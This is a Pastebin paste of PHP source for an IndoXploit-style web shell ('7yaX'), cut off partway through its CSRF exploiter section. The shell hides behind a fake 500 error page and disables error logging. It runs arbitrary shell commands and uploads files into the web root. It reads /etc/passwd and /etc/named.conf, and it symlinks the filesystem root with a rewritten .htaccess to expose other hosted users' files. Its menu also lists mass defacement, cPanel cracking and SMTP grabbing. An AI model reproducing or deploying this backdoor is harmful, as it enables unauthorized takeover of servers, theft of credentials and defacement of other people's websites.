daily pastebin goal
51%
SHARE
TWEET

asd

a guest Apr 21st, 2018 120 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12. $auth_pass = "fda8ac51a4a3277bfc06bfbe3dec6227efb81867";
  13.  
  14. function login() {
  15. $a_log ="<html><head><title>7yaX</title></head>";
  16. $a_log.="<font color=#4c83af>tya@".$_SERVER['HTTP_HOST']." : $ ./letmein</font>";
  17. $a_log.="<form method='POST'><label for='pass'><font color=#4c83af>[ pass ] : </label><input type='password' name='pass' style='border:0;color:#4c83af;width:120px;'></form>";
  18. $a_log.="</body></html>";  
  19. if(empty($_GET['tya'])=="gita"){
  20.     echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  21. <html>
  22. <head>
  23. <title>500 Internal Server Error</title>
  24. </head>
  25. <body>
  26. <h1>Internal Server Error  </h1>
  27. <p>The server encountered an internal error or
  28. misconfiguration and was unable to complete
  29. your request.</p>
  30. <p>Please contact the server administrator at
  31.  webmaster@'.$_SERVER['HTTP_HOST'].' to inform them of the time this error occurred,
  32.  and the actions you performed just before this error.</p>
  33. <p>More information about this error may be available
  34. in the server error log.</p>
  35. <p>Additionally, a 500 Internal Server Error
  36. error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>
  37. <address>'.$_SERVER['SERVER_SOFTWARE'].' Server at '.$_SERVER['HTTP_HOST'].' Port 80</address></body></html>
  38. ';
  39. }else{
  40.     echo $a_log;
  41. }
  42. exit;
  43. }
  44. if( !isset( $_SESSION[sha1($_SERVER['HTTP_HOST'])] ))
  45.     if( empty( $auth_pass) ||
  46.         ( isset( $_POST['pass'] ) && ( sha1($_POST['pass']) == $auth_pass) ) )
  47.         $_SESSION[sha1($_SERVER['HTTP_HOST'])] = true;
  48.     else
  49.        login();
  50. ?>
  51. <html>
  52. <head>
  53. <title>7yaX</title>
  54. <link rel="SHORTCUT ICON" href="https://png.icons8.com/metro/1600/ghost.png" type="image/png">
  55. <meta name='author' content='IndoXploit'>
  56. <meta charset="UTF-8">
  57. <style type='text/css'>
  58. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  59. html {
  60.     background: #000000;
  61.     color: #ffffff;
  62.     font-family: 'Ubuntu';
  63.     font-size: 13px;
  64.     width: 100%;
  65. }
  66. li {
  67.     display: inline;
  68.     margin: 5px;
  69.     padding: 5px;
  70. }
  71. table, th, td {
  72.     border-collapse:collapse;
  73.     font-family: Tahoma, Geneva, sans-serif;
  74.     background: transparent;
  75.     font-family: 'Ubuntu';
  76.     font-size: 13px;
  77. }
  78. .table_home, .th_home, .td_home {
  79.     border: 1px solid #4c83af;
  80. }
  81. th {
  82.     padding: 10px;
  83. }
  84. a {
  85.     color: #ffffff;
  86.     text-decoration: none;
  87. }
  88. a:hover {
  89.     color: #4c83af;
  90.     text-decoration: underline;
  91. }
  92. b {
  93.     color: #4c83af;
  94. }
  95. input[type=text], input[type=password],input[type=submit] {
  96.     background: transparent;
  97.     color: #ffffff;
  98.     border: 1px solid #4c83af;
  99.     margin: 5px auto;
  100.     padding-left: 5px;
  101.     font-family: 'Ubuntu';
  102.     font-size: 13px;
  103. }
  104. textarea {
  105.     border: 1px solid #4c83af;
  106.     width: 100%;
  107.     height: 400px;
  108.     padding-left: 5px;
  109.     margin: 10px auto;
  110.     resize: none;
  111.     background: transparent;
  112.     color: #ffffff;
  113.     font-family: 'Ubuntu';
  114.     font-size: 13px;
  115. }
  116. select {
  117.     width: 152px;
  118.     background: #000000;
  119.     color: #4c83af;
  120.     border: 1px solid #4c83af;
  121.     margin: 5px auto;
  122.     padding-left: 5px;
  123.     font-family: 'Ubuntu';
  124.     font-size: 13px;
  125. }
  126. option:hover {
  127.     background: #4c83af;
  128.     color: #000000;
  129. }
  130. .vl {
  131.     border-left: 2px solid #4c83af;
  132.     height: 150px;
  133.     float: left;
  134.     margin-right: 10px;
  135.     margin-top: 7px;
  136. }
  137. </style>
  138. </head>
  139. <?php
  140. ###############################################################################
  141. // Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
  142. // Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
  143. // Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
  144. // Tanpa kalian kita tidak akan BESAR seperti sekarang.
  145. // Greetz: All Member IndoXploit. & all my friends.
  146. ###############################################################################
  147. function w($dir,$perm) {
  148.     if(!is_writable($dir)) {
  149.         return "<font color=red>".$perm."</font>";
  150.     } else {
  151.         return "<font color=#4c83af>".$perm."</font>";
  152.     }
  153. }
  154. function r($dir,$perm) {
  155.     if(!is_readable($dir)) {
  156.         return "<font color=red>".$perm."</font>";
  157.     } else {
  158.         return "<font color=#4c83af>".$perm."</font>";
  159.     }
  160. }
  161. function exe($cmd) {
  162.     if(function_exists('system')) {        
  163.         @ob_start();       
  164.         @system($cmd);     
  165.         $buff = @ob_get_contents();        
  166.         @ob_end_clean();       
  167.         return $buff;  
  168.     } elseif(function_exists('exec')) {        
  169.         @exec($cmd,$results);      
  170.         $buff = "";        
  171.         foreach($results as $result) {         
  172.             $buff .= $result;      
  173.         } return $buff;    
  174.     } elseif(function_exists('passthru')) {        
  175.         @ob_start();       
  176.         @passthru($cmd);       
  177.         $buff = @ob_get_contents();        
  178.         @ob_end_clean();       
  179.         return $buff;  
  180.     } elseif(function_exists('shell_exec')) {      
  181.         $buff = @shell_exec($cmd);     
  182.         return $buff;  
  183.     }
  184. }
  185. function perms($file){
  186.     $perms = fileperms($file);
  187.     if (($perms & 0xC000) == 0xC000) {
  188.     // Socket
  189.     $info = 's';
  190.     } elseif (($perms & 0xA000) == 0xA000) {
  191.     // Symbolic Link
  192.     $info = 'l';
  193.     } elseif (($perms & 0x8000) == 0x8000) {
  194.     // Regular
  195.     $info = '-';
  196.     } elseif (($perms & 0x6000) == 0x6000) {
  197.     // Block special
  198.     $info = 'b';
  199.     } elseif (($perms & 0x4000) == 0x4000) {
  200.     // Directory
  201.     $info = 'd';
  202.     } elseif (($perms & 0x2000) == 0x2000) {
  203.     // Character special
  204.     $info = 'c';
  205.     } elseif (($perms & 0x1000) == 0x1000) {
  206.     // FIFO pipe
  207.     $info = 'p';
  208.     } else {
  209.     // Unknown
  210.     $info = 'u';
  211.     }
  212.         // Owner
  213.     $info .= (($perms & 0x0100) ? 'r' : '-');
  214.     $info .= (($perms & 0x0080) ? 'w' : '-');
  215.     $info .= (($perms & 0x0040) ?
  216.     (($perms & 0x0800) ? 's' : 'x' ) :
  217.     (($perms & 0x0800) ? 'S' : '-'));
  218.     // Group
  219.     $info .= (($perms & 0x0020) ? 'r' : '-');
  220.     $info .= (($perms & 0x0010) ? 'w' : '-');
  221.     $info .= (($perms & 0x0008) ?
  222.     (($perms & 0x0400) ? 's' : 'x' ) :
  223.     (($perms & 0x0400) ? 'S' : '-'));
  224.     // World
  225.     $info .= (($perms & 0x0004) ? 'r' : '-');
  226.     $info .= (($perms & 0x0002) ? 'w' : '-');
  227.     $info .= (($perms & 0x0001) ?
  228.     (($perms & 0x0200) ? 't' : 'x' ) :
  229.     (($perms & 0x0200) ? 'T' : '-'));
  230.     return $info;
  231. }
  232. function hdd($s) {
  233.     if($s >= 1073741824)
  234.     return sprintf('%1.2f',$s / 1073741824 ).' GB';
  235.     elseif($s >= 1048576)
  236.     return sprintf('%1.2f',$s / 1048576 ) .' MB';
  237.     elseif($s >= 1024)
  238.     return sprintf('%1.2f',$s / 1024 ) .' KB';
  239.     else
  240.     return $s .' B';
  241. }
  242. function ambilKata($param, $kata1, $kata2){
  243.     if(strpos($param, $kata1) === FALSE) return FALSE;
  244.     if(strpos($param, $kata2) === FALSE) return FALSE;
  245.     $start = strpos($param, $kata1) + strlen($kata1);
  246.     $end = strpos($param, $kata2, $start);
  247.     $return = substr($param, $start, $end - $start);
  248.     return $return;
  249. }
  250. function getsource($url) {
  251.     $curl = curl_init($url);
  252.             curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  253.             curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  254.             curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  255.             curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  256.     $content = curl_exec($curl);
  257.             curl_close($curl);
  258.     return $content;
  259. }
  260. function bing($dork) {
  261.     $npage = 1;
  262.     $npages = 30000;
  263.     $allLinks = array();
  264.     $lll = array();
  265.     while($npage <= $npages) {
  266.         $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  267.         if($x) {
  268.             preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  269.             foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  270.             $npage = $npage + 10;
  271.             if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
  272.         } else break;
  273.     }
  274.     $URLs = array();
  275.     foreach($allLinks as $url){
  276.         $exp = explode("/", $url);
  277.         $URLs[] = $exp[2];
  278.     }
  279.     $array = array_filter($URLs);
  280.     $array = array_unique($array);
  281.     $sss = count(array_unique($array));
  282.     foreach($array as $domain) {
  283.         echo $domain."\n";
  284.     }
  285. }
  286. function reverse($url) {
  287.     $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  288.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  289.           curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  290.           curl_setopt($ch, CURLOPT_HEADER, 0);
  291.           curl_setopt($ch, CURLOPT_POST, 1);
  292.     $resp = curl_exec($ch);
  293.     $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  294.     $array = explode(",,", $resp);
  295.     unset($array[0]);
  296.     foreach($array as $lnk) {
  297.         $lnk = "http://$lnk";
  298.         $lnk = str_replace(",", "", $lnk);
  299.         echo $lnk."\n";
  300.         ob_flush();
  301.         flush();
  302.     }
  303.         curl_close($ch);
  304. }
  305. if(get_magic_quotes_gpc()) {
  306.     function idx_ss($array) {
  307.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  308.     }
  309.     $_POST = idx_ss($_POST);
  310.     $_COOKIE = idx_ss($_COOKIE);
  311. }
  312.  
  313. if(isset($_GET['dir'])) {
  314.     $dir = $_GET['dir'];
  315.     chdir($dir);
  316. } else {
  317.     $dir = getcwd();
  318. }
  319. $kernel = php_uname();
  320. $d0mains = @file("/etc/named.conf");
  321.             $users=@file('/etc/passwd');
  322.         if($d0mains)
  323.         {
  324.             $count;  
  325.             foreach($d0mains as $d0main)
  326.             {
  327.                 if(@ereg("zone",$d0main))
  328.                 {
  329.                     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  330.                     flush();
  331.                     if(strlen(trim($domains[1][0])) > 2)
  332.                     {
  333.                         flush();
  334.                         $count++;
  335.                     }
  336.                 }
  337.             }
  338.         }
  339. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  340. $dir = str_replace("\\","/",$dir);
  341. $scdir = explode("/", $dir);
  342. $freespace = hdd(disk_free_space("/"));
  343. $total = hdd(disk_total_space("/"));
  344. $used = $total - $freespace;
  345. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=#4c83af>OFF</font>";
  346. $ds = @ini_get("disable_functions");
  347. $mysql = (function_exists('mysql_connect')) ? "<font color=#4c83af>ON</font>" : "<font color=maroon>OFF</font>";
  348. $curl = (function_exists('curl_version')) ? "<font color=#4c83af>ON</font>" : "<font color=maroon>OFF</font>";
  349. $wget = (exe('wget --help')) ? "<font color=#4c83af>ON</font>" : "<font color=red>OFF</font>";
  350. $perl = (exe('perl --help')) ? "<font color=#4c83af>ON</font>" : "<font color=red>OFF</font>";
  351. $ruby = (exe('ruby --help')) ? "<font color=#4c83af>ON</font>" : "<font color=red>OFF</font>";
  352. $python = (exe('python --help')) ? "<font color=#4c83af>ON</font>" : "<font color=red>OFF</font>";
  353. $show_ds = (!empty($ds)) ? "<font color=maroon width=450px>$ds</font>" : "<font color=#4c83af>NONE</font>";
  354. if(!function_exists('posix_getegid')) {
  355.     $user = @get_current_user();
  356.     $uid = @getmyuid();
  357.     $gid = @getmygid();
  358.     $group = "?";
  359. } else {
  360.     $uid = @posix_getpwuid(posix_geteuid());
  361.     $gid = @posix_getgrgid(posix_getegid());
  362.     $user = $uid['name'];
  363.     $uid = $uid['uid'];
  364.     $group = $gid['name'];
  365.     $gid = $gid['gid'];
  366. }
  367. echo "<img src='https://vignette.wikia.nocookie.net/nickelodeon/images/d/d7/Patrick_star_rainmeter_skin_by_no121else-d5u56i2.png' width='160px' height='170px' style='float: left; margin-right: 10px;'>";
  368. echo '<div class="vl"></div>';
  369. echo "<table style='padding-left=1px' align='left'><br>";
  370. echo "System:  <font color=white>".$kernel."</font><br>";
  371. echo "Web Server : <font color=white>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
  372. echo "User : <font color=white>".$user."</font> (".$uid.") Group: <font color=white>".$group."</font> (".$gid.")<br>";
  373. echo "Server IP : <font color=white>".$ip."</font> | <font color=#4c83af>Your IP</font> : <font color=white>".$_SERVER['REMOTE_ADDR']."</font><br>";
  374. echo "Websites : <font color=#4c83af>$count</font>  Domains<br>";
  375. echo "HDD : <font color=white>$used</font> / <font color=white>$total</font> ( Free: <font color=white>$freespace</font> )<br>";
  376. echo "PHP Version : ".phpversion()." <font color='white'> on</font> ".php_sapi_name()."<br>";
  377. echo "Safe Mode : $sm<br>";
  378. echo "MySQL: $mysql | Perl: $perl | Python: $python | Ruby: $ruby | WGET: $wget | CURL: $curl <br><br><br>";
  379. echo "</table>";
  380. echo "<hr color='#4c83af'>";
  381. echo "<center>";
  382. echo "<ul>";
  383. echo "<li><font color='#4c83af'>[</font> <a href='?'>Home</a> <font color='#4c83af'>]</font></li>";
  384. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=upload'>Upload</a> <font color='#4c83af'>]</font></li>";
  385. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=cmd'>Command</a> <font color='#4c83af'>]</font></li>";
  386. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> <font color='#4c83af'>]</font></li>";
  387. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=config'>Config</a> <font color='#4c83af'>]</font></li>";
  388. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=jumping'>Jumping</a> <font color='#4c83af'>]</font></li>";
  389. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=symlink'>Symlink</a> <font color='#4c83af'>]</font></li>";
  390. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=sympy'>SymPy</a> <font color='#4c83af'>]</font></li>";
  391. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> <font color='#4c83af'>]</font></li>";
  392. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> <font color='#4c83af'>]</font></li><br><br>";
  393. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=zoneh'>Zone-H</a> <font color='#4c83af'>]</font></li>";
  394. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=cgi'>CGI Telnet</a> <font color='#4c83af'>]</font></li>";
  395. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=cgi2'>CGI Telnet2</a> <font color='#4c83af'>]</font></li>";
  396. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=network'>Network</a> <font color='#4c83af'>]</font></li>";
  397. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=adminer'>Adminer</a> <font color='#4c83af'>]</font></li>";
  398. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=ds'>Disable Functions</a> <font color='#4c83af'>]</font></li>";
  399. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> <font color='#4c83af'>]</font></li>";
  400. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=passwbypass'>Bypass /etc/Passwd</a> <font color='#4c83af'>]</font></li><br><br>";
  401. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=csrf'>CSRF</a> <font color='#4c83af'>]</font></li>";
  402. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> <font color='#4c83af'>]</font></li>";
  403. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> <font color='#4c83af'>]</font></li>";
  404. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a> <font color='#4c83af'>]</font></li>";
  405. echo "<li><font color='#4c83af'>[</font> <a href='?dir=$dir&do=fake_root'>Fake Root</a> <font color='#4c83af'>]</font></li>";
  406. echo "<li><font color='#4c83af'>[</font> <a style='color: red;' href='?logout=true'>Logout</a> <font color='#4c83af'>]</font></li><br>";
  407. echo "</ul>";
  408. echo "<hr color='#4c83af'>";
  409. echo "<font color='#4c83af'><a href='http://www.zone-h.org/archive/notifier=7yaX'>7yaX</a></font> > ";
  410. foreach($scdir as $c_dir => $cdir) {   
  411.     echo "<a href='?dir=";
  412.     for($i = 0; $i <= $c_dir; $i++) {
  413.         echo $scdir[$i];
  414.         if($i != $c_dir) {
  415.         echo "/";
  416.         }
  417.     }
  418.     echo "'>$cdir</a>/";
  419. }
  420. echo "  [ ".w($dir, perms($dir))." ]<br>";
  421. echo "<br></center>";
  422. if($_GET['logout'] == true) {
  423.     unset($_SESSION[sha1($_SERVER['HTTP_HOST'])]);
  424.     echo "<script>window.location='?';</script>";
  425. } elseif($_GET['do'] == 'upload') {
  426.     echo "<center>";
  427.     if($_POST['upload']) {
  428.         if($_POST['tipe_upload'] == 'biasa') {
  429.             if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  430.                 $act = "<font color=#4c83af>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  431.             } else {
  432.                 $act = "<font color=red>failed to upload file</font>";
  433.             }
  434.         } else {
  435.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  436.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  437.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  438.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  439.                     $act = "<font color=#4c83af>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  440.                 } else {
  441.                     $act = "<font color=red>failed to upload file</font>";
  442.                 }
  443.             } else {
  444.                 $act = "<font color=red>failed to upload file</font>";
  445.             }
  446.         }
  447.     }
  448.     echo "Upload File:
  449.     <form method='post' enctype='multipart/form-data'>
  450.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  451.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  452.     <input type='file' name='ix_file'>
  453.     <input type='submit' value='upload' name='upload'>
  454.     </form>";
  455.     echo $act;
  456.     echo "</center>";
  457. } elseif($_GET['do'] == 'cmd') {
  458.     echo "<form method='post'>
  459.     <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  460.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  461.     </form>";
  462.     if($_POST['do_cmd']) {
  463.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  464.     }
  465. } elseif($_GET['do'] == 'passwbypass') {
  466.     echo '<center>Bypass etc/passw With:<br>
  467. <table style="width:50%">
  468.   <tr>
  469.     <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  470.     <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  471.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  472.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  473.     <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  474. </tr></table>Bypass User With : <table style="width:50%">
  475. <tr>
  476.     <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  477.     <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  478.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  479.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  480.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  481. </tr>
  482. </table><br>';
  483.  
  484.  
  485. if ($_POST['awkuser']) {
  486. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  487. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  488. echo "</textarea><br>";
  489. }
  490. if ($_POST['systuser']) {
  491. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  492. echo system("ls /var/mail");
  493. echo "</textarea><br>";
  494. }
  495. if ($_POST['passthuser']) {
  496. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  497. echo passthru("ls /var/mail");
  498. echo "</textarea><br>";
  499. }
  500. if ($_POST['exuser']) {
  501. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  502. echo exec("ls /var/mail");
  503. echo "</textarea><br>";
  504. }
  505. if ($_POST['shexuser']) {
  506. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  507. echo shell_exec("ls /var/mail");
  508. echo "</textarea><br>";
  509. }
  510. if($_POST['syst'])
  511. {
  512. echo"<textarea class='inputz' cols='65' rows='15'>";
  513. echo system("cat /etc/passwd");
  514. echo"</textarea><br><br><b></b><br>";
  515. }
  516. if($_POST['passth'])
  517. {
  518. echo"<textarea class='inputz' cols='65' rows='15'>";
  519. echo passthru("cat /etc/passwd");
  520. echo"</textarea><br><br><b></b><br>";
  521. }
  522. if($_POST['ex'])
  523. {
  524. echo"<textarea class='inputz' cols='65' rows='15'>";
  525. echo exec("cat /etc/passwd");
  526. echo"</textarea><br><br><b></b><br>";
  527. }
  528. if($_POST['shex'])
  529. {
  530. echo"<textarea class='inputz' cols='65' rows='15'>";
  531. echo shell_exec("cat /etc/passwd");
  532. echo"</textarea><br><br><b></b><br>";
  533. }
  534. echo '<center>';
  535. if($_POST['melex'])
  536. {
  537. echo"<textarea class='inputz' cols='65' rows='15'>";
  538. for($uid=0;$uid<60000;$uid++){
  539. $ara = posix_getpwuid($uid);
  540. if (!empty($ara)) {
  541. while (list ($key, $val) = each($ara)){
  542. print "$val:";
  543. }
  544. print "\n";
  545. }
  546. }
  547. echo"</textarea><br><br>";
  548. }
  549. } elseif($_GET['do'] == 'symlink') {
  550. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
  551. $d0mains = @file("/etc/named.conf");
  552. ##httaces
  553. if($d0mains){
  554. @mkdir("7yax_sym",0777);
  555. @chdir("7yax_sym");
  556. @exe("ln -s / root");
  557. $file3 = 'Options Indexes FollowSymLinks
  558. DirectoryIndex owl.htm
  559. AddType text/plain .php
  560. AddHandler text/plain .php
  561. Satisfy Any';
  562. $fp3 = fopen('.htaccess','w');
  563. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  564. echo "<br>
  565. <table align=center border=1 style='width:60%;border-color:#333333;'>
  566. <tr>
  567. <td align=center><font size=2>S. No.</font></td>
  568. <td align=center><font size=2>Domains</font></td>
  569. <td align=center><font size=2>Users</font></td>
  570. <td align=center><font size=2>Symlink</font></td>
  571. </tr>";
  572. $dcount = 1;
  573. foreach($d0mains as $d0main){
  574. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  575. flush();
  576. if(strlen(trim($domains[1][0])) > 2){
  577. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  578. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  579. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  580. <td>".$user['name']."</td>
  581. <td><a href='$full/7yax_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  582. flush();
  583. $dcount++;}}}
  584. echo "</table>";
  585. }else{
  586. $TEST=@file('/etc/passwd');
  587. if ($TEST){
  588. @mkdir("7yax_sym",0777);
  589. @chdir("7yax_sym");
  590. exe("ln -s / root");
  591. $file3 = 'Options Indexes FollowSymLinks
  592. DirectoryIndex owl.htm
  593. AddType text/plain .php
  594. AddHandler text/plain .php
  595. Satisfy Any';
  596.  $fp3 = fopen('.htaccess','w');
  597.  $fw3 = fwrite($fp3,$file3);
  598.  @fclose($fp3);
  599.  echo "
  600.  <table align=center border=1><tr>
  601.  <td align=center><font size=3>S. No.</font></td>
  602.  <td align=center><font size=3>Users</font></td>
  603.  <td align=center><font size=3>Symlink</font></td></tr>";
  604.  $dcount = 1;
  605.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  606.  while(!feof($file)){
  607.  $s = fgets($file);
  608.  $matches = array();
  609.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  610.  $matches = str_replace("home/","",$matches[1]);
  611.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  612.  continue;
  613.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  614.  <td align=center><font class=txt>" . $matches . "</td>";
  615.  echo "<td align=center><font class=txt><a href=$full/7yax_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  616.  $dcount++;}fclose($file);
  617.  echo "</table>";}else{if($os != "Windows"){@mkdir("7yax_sym",0777);@chdir("7yax_sym");@exe("ln -s / root");$file3 = '
  618.  Options Indexes FollowSymLinks
  619. DirectoryIndex owl.htm
  620. AddType text/plain .php
  621. AddHandler text/plain .php
  622. Satisfy Any
  623. ';
  624.  $fp3 = fopen('.htaccess','w');
  625.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  626.  echo "
  627.  <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  628.  <table align=center border=1><tr>
  629.  <td align=center><font size=3>ID</font></td>
  630.  <td align=center><font size=3>Users</font></td>
  631.  <td align=center><font size=3>Symlink</font></td></tr>";
  632.  $temp = "";$val1 = 0;$val2 = 1000;
  633.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  634.  if ($uid)$temp .= join(':',$uid)."\n";}
  635.  echo '<br/>';$temp = trim($temp);$file5 =
  636.  fopen("test.txt","w");
  637.  fputs($file5,$temp);
  638.  fclose($file5);$dcount = 1;$file =
  639.  fopen("test.txt", "r") or exit("Unable to open file!");
  640.  while(!feof($file)){$s = fgets($file);$matches = array();
  641.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  642.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  643.  continue;
  644.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  645.  <td align=center><font class=txt>" . $matches . "</td>";
  646.  echo "<td align=center><font class=txt><a href=$full/7yax_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  647.  $dcount++;}
  648.  fclose($file);
  649.  echo "</table></div></center>";unlink("test.txt");
  650.  } else
  651.  echo "<center><font size=3>Cannot Create Symlink</font></center>";
  652.  }
  653.  }
  654. } elseif($_GET['do'] == 'ds') {
  655.     echo "<center><h2>Disable Functions</h2>";
  656.     echo"<textarea readonly style='width: 450px; height: 200px;' name='url'>";
  657.     echo $ds;
  658.     echo "</textarea><br></center>";
  659. }
  660. elseif($_GET['do'] == 'csrf') {
  661.     echo "<h1>CSRF Exploiter</h1>
  662.     <form method='post'>
  663. URL: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='url' size='50' height='10' placeholder='http://127.0.0.1/[path]/upload.php' style='margin: 5px auto; padding-left: 5px;' required><br>
  664. POST File: <input type='text' name='data' style='border:0;border-bottom:1px solid #292929; width:500px;' size='50' height='10' placeholder='Filedata / files[] / qqfile / userfile / dll' style='margin: 5px auto; padding-left: 5px;' required><br>
  665. <br><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' class='kotak' type='submit' name='go' value='Lock!'>
  666. </form>";
  667. $url = $_POST['url'];
  668. $data = $_POST['data'];
  669. $submit = $_POST['go'];
  670. if($submit) {
